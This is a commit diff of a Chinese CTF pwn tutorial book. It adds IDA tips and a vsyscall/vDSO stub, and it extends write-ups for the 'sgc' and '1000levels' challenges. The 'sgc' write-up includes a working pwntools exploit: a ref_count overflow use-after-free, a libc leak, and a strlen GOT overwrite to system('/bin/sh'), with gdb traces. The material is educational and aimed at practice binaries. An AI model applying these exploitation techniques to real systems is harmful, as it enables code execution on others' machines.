mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update
This commit is contained in:
parent
17161e2099
commit
c032c0aaf6
@ -92,6 +92,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [4.12 利用 __stack_chk_fail](doc/4.12_stack_chk_fail.md)
|
||||
* [4.13 利用 _IO_FILE 结构](doc/4.13_io_file.md)
|
||||
* [4.14 glibc tcache 机制](doc/4.14_glibc_tcache.md)
|
||||
* [4.15 利用 vsyscall 和 vDSO](doc/4.15_vsyscall_vdso.md)
|
||||
* [五、高级篇](doc/5_advanced.md)
|
||||
* [5.0 软件漏洞分析](doc/5.0_vulnerability.md)
|
||||
* [5.1 模糊测试](doc/5.1_fuzzing.md)
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
- [常用插件](#常用插件)
|
||||
- [常用脚本](#常用脚本)
|
||||
- [技巧](#技巧)
|
||||
|
||||
|
||||
## 常用插件
|
||||
@ -27,9 +28,7 @@
|
||||
|
||||
|
||||
## 常用脚本
|
||||
|
||||
#### 内存 dump 脚本
|
||||
|
||||
调试程序时偶尔会需要 dump 内存,但 IDA Pro 没有直接提供此功能,可以通过脚本来实现。
|
||||
```python
|
||||
import idaapi
|
||||
@ -39,3 +38,15 @@ fp = open('path/to/dump', 'wb')
|
||||
fp.write(data)
|
||||
fp.close()
|
||||
```
|
||||
|
||||
|
||||
## 技巧
|
||||
#### 堆栈不平衡
|
||||
某些函数在使用 f5 进行反编译时,会提示错误 "sp-analysis failed",导致无法正确反编译。原因可能是在代码执行中的 pop、push 操作不匹配,导致解析的时候 esp 发生错误。
|
||||
|
||||
解决办法步骤如下:
|
||||
1. 用 Option->General->Disassembly, 将选项 Stack pointer 打钩
|
||||
2. 仔细观察每条 call sub_xxxxxx 前后的堆栈指针是否平衡
|
||||
3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况,主要是看入栈的参数与 ret xx 是否匹配
|
||||
4. 注意观察 jmp 指令前后的堆栈是否有变化
|
||||
5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义
|
||||
|
14
doc/4.15_vsyscall_vdso.md
Normal file
14
doc/4.15_vsyscall_vdso.md
Normal file
@ -0,0 +1,14 @@
|
||||
# 4.15 利用 vsyscall 和 vDSO
|
||||
|
||||
|
||||
- [CTF 实例](#ctf-实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## CTF 实例
|
||||
例如章节 6.1.6 的 ret2vdso。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- `man vdso`
|
||||
- [Creating a vDSO: the Colonel's Other Chicken](https://www.linuxjournal.com/content/creating-vdso-colonels-other-chicken)
|
@ -5,6 +5,9 @@ one-gadget RCE 是在 libc 中存在的一些执行 `execve('/bin/sh', NULL, NUL
|
||||
|
||||
可以使用工具 [one_gadget](https://github.com/david942j/one_gadget) 很方便地查找 one-gadget:
|
||||
```
|
||||
$ sudo gem install one_gadget
|
||||
```
|
||||
```
|
||||
$ file /usr/lib/libc-2.26.so
|
||||
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=466056d0995495995ad1a1fe696c9dc7fb3d421b, for GNU/Linux 3.2.0, not stripped
|
||||
$ one_gadget -f /usr/lib/libc-2.26.so
|
||||
|
@ -14,3 +14,4 @@
|
||||
- [4.12 利用 __stack_chk_fail](4.12_stack_chk_fail.md)
|
||||
- [4.13 利用 _IO_FILE 结构](4.13_io_file.md)
|
||||
- [4.14 glibc tcache 机制](4.14_glibc_tcache.md)
|
||||
- [4.15 利用 vsyscall 和 vDSO](4.15_vsyscall_vdso.md)
|
||||
|
@ -2,7 +2,8 @@
|
||||
|
||||
- [题目复现](#题目复现)
|
||||
- [题目解析](#题目解析)
|
||||
- [Exploit](#exploit)
|
||||
- [Exploit one](#exploit-one)
|
||||
- [Exploit two](#exploit-two)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
@ -15,8 +16,9 @@ sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, in
|
||||
$ checksec -f sgc
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 sgc
|
||||
$ file libc-2.26.so
|
||||
libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6d2b609f0c8e7b338f767b08c5ac712fac809d31, for GNU/Linux 3.2.0, stripped
|
||||
$ strings libc-2.26.so | grep "GNU C"
|
||||
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 6.4.0 20171010.
|
||||
```
|
||||
一看 libc-2.26,请参考章节 4.14,tcache 了解一下。然后程序开启了 Canary 和 NX。
|
||||
|
||||
@ -702,6 +704,11 @@ struct group *groups[0x60]; // 0x6023e0
|
||||
- ref_count 类型为 uint8_t 且在修改组是不会减 1,将导致溢出(例如:0x100 和 0x0),使 GC 进行释放 group 的操作
|
||||
- 如果有两个同名的 group,两个 user 分别指向这两个 group,那么释放其中一个 user 时,另一个也会被释放,造成 UAF
|
||||
|
||||
然后是关于 tcache 的问题。在这个程序中有两个线程,thread-1 为主线程,thread-2 为 GC 线程,它们都有自己的 tcache。程序中所有 chunk 的分配工作都由 thread-1 执行,thread-2 只释放(group和group_name)不分配,所以在它的 tcache bins 被装满以后所有该线程释放的 fast chunk 都被放进 fastbins 中。而 fastbins 是进程公用的,所以会被主线程在分配时使用。
|
||||
|
||||
## Exploit one
|
||||
第一种方法,我们利用 ref_count 溢出的 UAF。
|
||||
|
||||
#### overflow
|
||||
首先我们来溢出 ref_count:
|
||||
```python
|
||||
@ -715,6 +722,88 @@ def overflow():
|
||||
add_user('a'*8, 'A'*4) # overflow ref_count
|
||||
sleep(2) # group_name and group freed by GC
|
||||
```
|
||||
|
||||
首先说一下 for 循环,前几次当 thread-2 的 tcache 还未装满时,它的操作和下面类似(顺序可能不同):
|
||||
```
|
||||
user: malloc(24)=0x6033c0 <= thread-1 tcache
|
||||
name: malloc(9)=0x6034a0
|
||||
group_name: malloc(24)=0x6034c0
|
||||
group: malloc(16)=0x6034e0
|
||||
|
||||
user: free(0x6033c0) => thread-1 tcache
|
||||
|
||||
group_name: free(0x6034c0) => thread-2 tcache
|
||||
group: free(0x6034e0) => thread-2 tcache
|
||||
```
|
||||
当 thread-2 tcache 装满时,它释放的 chunk 都会被放进 fastbins,于是就可以被 thread-1 取出,下面是第 4 和 第 5 次循环:
|
||||
```
|
||||
user: malloc(24)=0x6033c0 <= thread-1 tcache
|
||||
name: malloc(9)=0x603500
|
||||
group_name: malloc(24)=0x603520
|
||||
group: malloc(16)=0x603540
|
||||
|
||||
user: free(0x6033c0) => thread-1 tcache
|
||||
|
||||
group_name: free(0x603520) => thread-2 tcache
|
||||
group: free(0x603540) => fastbin
|
||||
```
|
||||
```
|
||||
user: malloc(24)=0x6033c0 <= thread-1 tcache
|
||||
name: malloc(9)=0x603540 <== fastbin
|
||||
group_name: malloc(24)=0x603560
|
||||
group: malloc(16)=0x603580
|
||||
|
||||
user: free(0x6033c0) => thread-1 tcache
|
||||
|
||||
group_name: free(0x603560) => fastbin
|
||||
group: free(0x603580) => fastbin
|
||||
```
|
||||
此时的 thread-1 tcache 和 fastbin 如下所示:
|
||||
```
|
||||
tcache: 0x6033c0
|
||||
fastbin: 0x603560 -> 0x603580
|
||||
```
|
||||
于是第 6 次循环,在第一次从 fastbin 中取出 chunk 后,剩余的 chunk 会被放入 thread-1 tcache(逆序),然后再从 tcache 里取(FILO):
|
||||
```
|
||||
user: malloc(24)=0x6033c0 <= tcache
|
||||
name: malloc(9)=0x603580 <= fastbin (tcache: 0x603560)
|
||||
group_name: malloc(24)=0x603560 <= tcache
|
||||
group: malloc(16)=0x6035a0
|
||||
|
||||
user: free(0x6033c0) => tcache
|
||||
|
||||
group_name: free(0x603560) => fastbin
|
||||
group: free(0x6035a0) => fastbin
|
||||
```
|
||||
再往后,其实都是重复这个过程。循环结束时的状态为:
|
||||
```
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x0000000000000000 0x0000000000000000 <-- users[]
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/4gx 0x6023e0
|
||||
0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[]
|
||||
0x6023f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/2gx 0x6033a0
|
||||
0x6033a0: 0x0000000000603380 0x00000000000000ff <-- ref_count
|
||||
gdb-peda$ x/2gx 0x603380
|
||||
0x603380: 0x0000000041414141 0x0000000000000000 <-- group_name
|
||||
```
|
||||
```
|
||||
tcache: 0x6033c0
|
||||
fastbin: 0x603560 -> 0x6054c0
|
||||
```
|
||||
紧接着我们再添加一个 user,导致 ref_count 溢出为 `0x100` 后,程序只有只有将低位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,放进 fastbin。
|
||||
```
|
||||
user: malloc(24)=0x6033c0 <= tcache
|
||||
name: malloc(9)=0x6054c0 <= fastbin (tcache: 0x603560 ; fastbin: )
|
||||
|
||||
fake group_name: free(0x603380) => fastbin (tcache: 0x603560 ; fastbin: 0x603380)
|
||||
fake group: free(0x6033a0) => fastbin (tcache: 0x603560 ; fastbin: 0x603380 -> 0x6033a0)
|
||||
|
||||
group_name: malloc(24)=0x603560 <= tcache (tcache: ; fastbin: 0x603380 -> 0x6033a0)
|
||||
group: malloc(16)=0x6033a0 <= fastbin (tcache: 0x603380 ; fastbin: )
|
||||
```
|
||||
最终结果为:
|
||||
```
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[]
|
||||
@ -724,17 +813,18 @@ gdb-peda$ x/4gx 0x6023e0
|
||||
0x6023f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/3gx 0x6033c0
|
||||
0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0]
|
||||
0x6033d0: 0x0000000000603380 <-- users[0]->group
|
||||
0x6033d0: 0x0000000000603380 <-- users[0]->group
|
||||
gdb-peda$ x/2gx 0x603380
|
||||
0x603380: 0x0000000000000000 0x0000000000000000 <-- group_name <-- ref_count
|
||||
0x603380: 0x0000000000000000 0x0000000000000000 <-- ref_count
|
||||
```
|
||||
可以看到,当我们将 ref_count 溢出为 `0x100` 后,程序只有只有将地位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,并将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 `group_name`(`0x603380`),悬指针产生。
|
||||
|
||||
最后将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 `group_name`(`0x603380`),悬指针产生。
|
||||
|
||||
#### uaf and leak
|
||||
接下来利用悬指针泄漏 libc 的地址:
|
||||
```python
|
||||
def leak():
|
||||
add_user('b'*32, 'B'*4) # group
|
||||
add_user('b'*8, 'B'*4) # group
|
||||
strlen_got = elf.got['strlen']
|
||||
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
|
||||
|
||||
@ -747,7 +837,11 @@ def leak():
|
||||
|
||||
return system_addr
|
||||
```
|
||||
首先添加一个 user,神奇的是这个 user struct 正好就是被释放的 group,所以修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示:
|
||||
在执行该函数前的 tcache 如下:
|
||||
```
|
||||
tcache: 0x603380
|
||||
```
|
||||
当我们添加一个 user 时,因为 group "BBBB" 不存在,所以首先创建一个 group,然后再创建 user,这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示:
|
||||
```
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[]
|
||||
@ -809,54 +903,6 @@ gdb-peda$ x/gx 0x602030
|
||||
gdb-peda$ p system
|
||||
$1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
|
||||
```
|
||||
```
|
||||
gdb-peda$ si
|
||||
[----------------------------------registers-----------------------------------]
|
||||
RAX: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
|
||||
RBX: 0x2
|
||||
RCX: 0x7ffff7dd2c20 --> 0x0
|
||||
RDX: 0x3
|
||||
RSI: 0x0
|
||||
RDI: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
|
||||
RBP: 0x7fffffffed40 --> 0x7fffffffed70 --> 0x4015b0 (push r15)
|
||||
RSP: 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
|
||||
RIP: 0x400960 (<strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030)
|
||||
R8 : 0x0
|
||||
R9 : 0x605510 --> 0x3
|
||||
R10: 0xffffffffffffffb0
|
||||
R11: 0x7ffff7b86b40 --> 0x2000200020002
|
||||
R12: 0x400a60 (xor ebp,ebp)
|
||||
R13: 0x7fffffffee50 --> 0x1
|
||||
R14: 0x0
|
||||
R15: 0x0
|
||||
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x400950 <puts@plt>: jmp QWORD PTR [rip+0x2016d2] # 0x602028
|
||||
0x400956 <puts@plt+6>: push 0x2
|
||||
0x40095b <puts@plt+11>: jmp 0x400920
|
||||
=> 0x400960 <strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030
|
||||
| 0x400966 <strlen@plt+6>: push 0x3
|
||||
| 0x40096b <strlen@plt+11>: jmp 0x400920
|
||||
| 0x400970 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x2016c2] # 0x602038
|
||||
| 0x400976 <__stack_chk_fail@plt+6>: push 0x4
|
||||
|-> 0x7ffff7a3fdc0 <system>: test rdi,rdi
|
||||
0x7ffff7a3fdc3 <system+3>: je 0x7ffff7a3fdd0 <system+16>
|
||||
0x7ffff7a3fdc5 <system+5>: jmp 0x7ffff7a3f820
|
||||
0x7ffff7a3fdca <system+10>: nop WORD PTR [rax+rax*1+0x0]
|
||||
JUMP is taken
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
|
||||
0008| 0x7fffffffebd0 --> 0x400a60 (xor ebp,ebp)
|
||||
0016| 0x7fffffffebd8 --> 0x27fffffffee50
|
||||
0024| 0x7fffffffebe0 --> 0x3
|
||||
0032| 0x7fffffffebe8 --> 0x6033a0 --> 0x603560 --> 0x42424242 ('BBBB')
|
||||
0040| 0x7fffffffebf0 --> 0x33 ('3')
|
||||
0048| 0x7fffffffebf8 --> 0x7ffff7a54e36 (<printf+166>: mov rcx,QWORD PTR [rsp+0x18])
|
||||
0056| 0x7fffffffec00 --> 0x42424242 ('BBBB')
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x0000000000400960 in strlen@plt ()
|
||||
```
|
||||
|
||||
#### exploit
|
||||
完整的 exp 如下:
|
||||
@ -907,7 +953,7 @@ def overflow():
|
||||
sleep(2) # group_name and group freed by GC
|
||||
|
||||
def leak():
|
||||
add_user('b'*32, 'B'*4) # group
|
||||
add_user('b'*8, 'B'*4) # group
|
||||
strlen_got = elf.got['strlen']
|
||||
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
|
||||
|
||||
@ -934,6 +980,17 @@ if __name__ == "__main__":
|
||||
pwn()
|
||||
```
|
||||
|
||||
虽然这一切看起来都没有问题,但我在运行的时候 system('/bin/sh') 却执行失败了,应该是我的 /bin/sh 不能使用这个 libc 的原因:
|
||||
```
|
||||
LD_PRELOAD=./libc-2.26.so /bin/sh
|
||||
[1] 14834 segmentation fault (core dumped) LD_PRELOAD=./libc-2.26.so /bin/sh
|
||||
```
|
||||
应该换成 Ubuntu-17.10 试试。(本机Arch)
|
||||
|
||||
|
||||
## Exploit two
|
||||
第二种方法,我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/5137
|
||||
|
@ -15,14 +15,319 @@ $ file 1000levels
|
||||
$ checksec -f 1000levels
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels
|
||||
$ strings libc.so.6 | grep -i ubuntu
|
||||
$ strings libc.so.6 | grep "GNU C"
|
||||
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 5.4.0 20160609.
|
||||
```
|
||||
关闭了 Canary,开启 NX 和 PIE。于是猜测可能是栈溢出,但需要绕过 ASLR。not stripped 可以说是很开心了。
|
||||
|
||||
玩一下:
|
||||
```
|
||||
$ ./1000levels
|
||||
Welcome to 1000levels, it's much more diffcult than before.
|
||||
1. Go
|
||||
2. Hint
|
||||
3. Give up
|
||||
Choice:
|
||||
1
|
||||
How many levels?
|
||||
0
|
||||
Coward
|
||||
Any more?
|
||||
1
|
||||
Let's go!'
|
||||
====================================================
|
||||
Level 1
|
||||
Question: 0 * 0 = ? Answer:0
|
||||
Great job! You finished 1 levels in 1 seconds
|
||||
```
|
||||
Go 的功能看起来就是让你先输入一个数,然后再输入一个数,两个数相加作为 levels,然后让你做算术。
|
||||
|
||||
但是很奇怪的是,如果你使用了 Hint 功能,然后第一个数输入了 0 的时候,无论第二个数是多少,仿佛都会出现无限多的 levels:
|
||||
```
|
||||
$ ./1000levels
|
||||
Welcome to 1000levels, it's much more diffcult than before.
|
||||
1. Go
|
||||
2. Hint
|
||||
3. Give up
|
||||
Choice:
|
||||
2
|
||||
NO PWN NO FUN
|
||||
1. Go
|
||||
2. Hint
|
||||
3. Give up
|
||||
Choice:
|
||||
1
|
||||
How many levels?
|
||||
0
|
||||
Coward
|
||||
Any more?
|
||||
1
|
||||
More levels than before!
|
||||
Let's go!'
|
||||
====================================================
|
||||
Level 1
|
||||
Question: 0 * 0 = ? Answer:0
|
||||
====================================================
|
||||
Level 2
|
||||
Question: 1 * 1 = ? Answer:1
|
||||
====================================================
|
||||
Level 3
|
||||
Question: 1 * 1 = ? Answer:1
|
||||
====================================================
|
||||
Level 4
|
||||
Question: 3 * 1 = ? Answer:
|
||||
```
|
||||
所以应该重点关注一下 Hint 功能。
|
||||
|
||||
|
||||
## 题目解析
|
||||
程序比较简单,基本上只有 Go 和 Hint 两个功能。
|
||||
|
||||
#### go
|
||||
```
|
||||
[0x000009d0]> pdf @ sym.go
|
||||
/ (fcn) sym.go 372
|
||||
| sym.go ();
|
||||
| ; var int local_120h @ rbp-0x120
|
||||
| ; var int local_118h @ rbp-0x118
|
||||
| ; var int local_114h @ rbp-0x114
|
||||
| ; var int local_110h @ rbp-0x110
|
||||
| ; var int local_108h @ rbp-0x108
|
||||
| ; CALL XREF from 0x00000f9f (main)
|
||||
| 0x00000b7c push rbp
|
||||
| 0x00000b7d mov rbp, rsp
|
||||
| 0x00000b80 sub rsp, 0x120
|
||||
| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?"
|
||||
| 0x00000b8e call sym.imp.puts ; int puts(const char *s)
|
||||
| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| 0x00000b98 mov qword [local_120h], rax ; 将第一个数放进 local_120h
|
||||
| 0x00000b9f mov rax, qword [local_120h]
|
||||
| 0x00000ba6 test rax, rax
|
||||
| ,=< 0x00000ba9 jg 0xbb9
|
||||
| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward"
|
||||
| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s)
|
||||
| ,==< 0x00000bb7 jmp 0xbc7
|
||||
| || ; JMP XREF from 0x00000ba9 (sym.go)
|
||||
| |`-> 0x00000bb9 mov rax, qword [local_120h]
|
||||
| | 0x00000bc0 mov qword [local_110h], rax
|
||||
| | ; JMP XREF from 0x00000bb7 (sym.go)
|
||||
| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?"
|
||||
| 0x00000bce call sym.imp.puts ; int puts(const char *s)
|
||||
| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| 0x00000bd8 mov qword [local_120h], rax
|
||||
| 0x00000bdf mov rdx, qword [local_110h]
|
||||
| 0x00000be6 mov rax, qword [local_120h]
|
||||
| 0x00000bed add rax, rdx ; '('
|
||||
| 0x00000bf0 mov qword [local_110h], rax
|
||||
| 0x00000bf7 mov rax, qword [local_110h]
|
||||
| 0x00000bfe test rax, rax
|
||||
| ,=< 0x00000c01 jg 0xc14
|
||||
| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward"
|
||||
| | 0x00000c0a call sym.imp.puts ; int puts(const char *s)
|
||||
| ,==< 0x00000c0f jmp 0xcee
|
||||
| |`-> 0x00000c14 mov rax, qword [local_110h]
|
||||
| | 0x00000c1b cmp rax, 0x3e7
|
||||
| |,=< 0x00000c21 jle 0xc3c
|
||||
| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!"
|
||||
| || 0x00000c2a call sym.imp.puts ; int puts(const char *s)
|
||||
| || 0x00000c2f mov qword [local_108h], 0x3e8
|
||||
| ,===< 0x00000c3a jmp 0xc4a
|
||||
| ||| ; JMP XREF from 0x00000c21 (sym.go)
|
||||
| ||`-> 0x00000c3c mov rax, qword [local_110h]
|
||||
| || 0x00000c43 mov qword [local_108h], rax
|
||||
| || ; JMP XREF from 0x00000c3a (sym.go)
|
||||
| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'"
|
||||
| | 0x00000c51 call sym.imp.puts ; int puts(const char *s)
|
||||
| | 0x00000c56 mov edi, 0
|
||||
| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer)
|
||||
| | 0x00000c60 mov dword [local_118h], eax
|
||||
| | 0x00000c66 mov rax, qword [local_108h]
|
||||
| | 0x00000c6d mov edi, eax
|
||||
| | 0x00000c6f call sym.level_int ; 进入计算题游戏
|
||||
| | 0x00000c74 test eax, eax
|
||||
| | 0x00000c76 setne al
|
||||
| | 0x00000c79 test al, al
|
||||
| |,=< 0x00000c7b je 0xcd8
|
||||
| || 0x00000c7d mov edi, 0
|
||||
| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer)
|
||||
| || 0x00000c87 mov dword [local_114h], eax
|
||||
| || 0x00000c8d mov edx, dword [local_114h]
|
||||
| || 0x00000c93 mov eax, dword [local_118h]
|
||||
| || 0x00000c99 sub edx, eax
|
||||
| || 0x00000c9b mov rax, qword [local_108h]
|
||||
| || 0x00000ca2 lea rcx, [local_120h]
|
||||
| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@"
|
||||
| || 0x00000cad mov ecx, edx
|
||||
| || 0x00000caf mov rdx, rax
|
||||
| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"
|
||||
| || 0x00000cb9 mov eax, 0
|
||||
| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s,
|
||||
| || 0x00000cc3 lea rax, [local_120h]
|
||||
| || 0x00000cca add rax, 0x20
|
||||
| || 0x00000cce mov rdi, rax
|
||||
| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s)
|
||||
| ,===< 0x00000cd6 jmp 0xce4
|
||||
| ||| ; JMP XREF from 0x00000c7b (sym.go)
|
||||
| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed."
|
||||
| || 0x00000cdf call sym.imp.puts ; int puts(const char *s)
|
||||
| || ; JMP XREF from 0x00000cd6 (sym.go)
|
||||
| `---> 0x00000ce4 mov edi, 0
|
||||
| | 0x00000ce9 call sym.imp.exit ; void exit(int status)
|
||||
| | ; JMP XREF from 0x00000c0f (sym.go)
|
||||
| `--> 0x00000cee leave
|
||||
\ 0x00000cef ret
|
||||
```
|
||||
|
||||
计算题游戏的函数 `sym.level_int()` 如下:
|
||||
```
|
||||
[0x000009d0]> pdf @ sym.level_int
|
||||
/ (fcn) sym.level_int 289
|
||||
| sym.level_int ();
|
||||
| ; var int local_34h @ rbp-0x34
|
||||
| ; var int local_30h @ rbp-0x30
|
||||
| ; var int local_28h @ rbp-0x28
|
||||
| ; var int local_20h @ rbp-0x20
|
||||
| ; var int local_18h @ rbp-0x18
|
||||
| ; var int local_10h @ rbp-0x10
|
||||
| ; var int local_ch @ rbp-0xc
|
||||
| ; var int local_8h @ rbp-0x8
|
||||
| ; var int local_4h @ rbp-0x4
|
||||
| ; CALL XREF from 0x00000c6f (sym.go)
|
||||
| ; CALL XREF from 0x00000e70 (sym.level_int)
|
||||
| 0x00000e2d push rbp
|
||||
| 0x00000e2e mov rbp, rsp
|
||||
| 0x00000e31 sub rsp, 0x40 ; '@'
|
||||
| 0x00000e35 mov dword [local_34h], edi
|
||||
| 0x00000e38 mov qword [local_30h], 0
|
||||
| 0x00000e40 mov qword [local_28h], 0
|
||||
| 0x00000e48 mov qword [local_20h], 0
|
||||
| 0x00000e50 mov qword [local_18h], 0
|
||||
| 0x00000e58 cmp dword [local_34h], 0
|
||||
| ,=< 0x00000e5c jne 0xe68
|
||||
| | 0x00000e5e mov eax, 1
|
||||
| ,==< 0x00000e63 jmp 0xf4c
|
||||
| || ; JMP XREF from 0x00000e5c (sym.level_int)
|
||||
| |`-> 0x00000e68 mov eax, dword [local_34h]
|
||||
| | 0x00000e6b sub eax, 1
|
||||
| | 0x00000e6e mov edi, eax
|
||||
| | 0x00000e70 call sym.level_int
|
||||
| | 0x00000e75 test eax, eax
|
||||
| | 0x00000e77 sete al
|
||||
| | 0x00000e7a test al, al
|
||||
| |,=< 0x00000e7c je 0xe88
|
||||
| || 0x00000e7e mov eax, 0
|
||||
| ,===< 0x00000e83 jmp 0xf4c
|
||||
| ||| ; JMP XREF from 0x00000e7c (sym.level_int)
|
||||
| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void)
|
||||
| || 0x00000e8d cdq
|
||||
| || 0x00000e8e idiv dword [local_34h]
|
||||
| || 0x00000e91 mov dword [local_8h], edx
|
||||
| || 0x00000e94 call sym.imp.rand ; int rand(void)
|
||||
| || 0x00000e99 cdq
|
||||
| || 0x00000e9a idiv dword [local_34h]
|
||||
| || 0x00000e9d mov dword [local_ch], edx
|
||||
| || 0x00000ea0 mov eax, dword [local_8h]
|
||||
| || 0x00000ea3 imul eax, dword [local_ch]
|
||||
| || 0x00000ea7 mov dword [local_10h], eax
|
||||
| || 0x00000eaa lea rdi, str. ; 0x1160 ; "===================================================="
|
||||
| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s)
|
||||
| || 0x00000eb6 mov eax, dword [local_34h]
|
||||
| || 0x00000eb9 mov esi, eax
|
||||
| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n"
|
||||
| || 0x00000ec2 mov eax, 0
|
||||
| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format)
|
||||
| || 0x00000ecc mov edx, dword [local_ch]
|
||||
| || 0x00000ecf mov eax, dword [local_8h]
|
||||
| || 0x00000ed2 mov esi, eax
|
||||
| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"
|
||||
| || 0x00000edb mov eax, 0
|
||||
| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format)
|
||||
| || 0x00000ee5 lea rax, [local_30h]
|
||||
| || 0x00000ee9 mov edx, 0x400
|
||||
| || 0x00000eee mov rsi, rax
|
||||
| || 0x00000ef1 mov edi, 0
|
||||
| || 0x00000ef6 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| || 0x00000efb mov dword [local_4h], eax
|
||||
| || ; JMP XREF from 0x00000f16 (sym.level_int)
|
||||
| ||.-> 0x00000efe mov eax, dword [local_4h]
|
||||
| ||: 0x00000f01 and eax, 7
|
||||
| ||: 0x00000f04 test eax, eax
|
||||
| ,====< 0x00000f06 je 0xf18
|
||||
| |||: 0x00000f08 mov eax, dword [local_4h]
|
||||
| |||: 0x00000f0b cdqe
|
||||
| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0
|
||||
| |||: 0x00000f12 add dword [local_4h], 1
|
||||
| |||`=< 0x00000f16 jmp 0xefe
|
||||
| ||| ; JMP XREF from 0x00000f06 (sym.level_int)
|
||||
| `----> 0x00000f18 lea rax, [local_30h]
|
||||
| || 0x00000f1c mov edx, 0xa
|
||||
| || 0x00000f21 mov esi, 0
|
||||
| || 0x00000f26 mov rdi, rax
|
||||
| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)
|
||||
| || 0x00000f2e mov rdx, rax
|
||||
| || 0x00000f31 mov eax, dword [local_10h]
|
||||
| || 0x00000f34 cdqe
|
||||
| || 0x00000f36 cmp rdx, rax
|
||||
| || 0x00000f39 sete al
|
||||
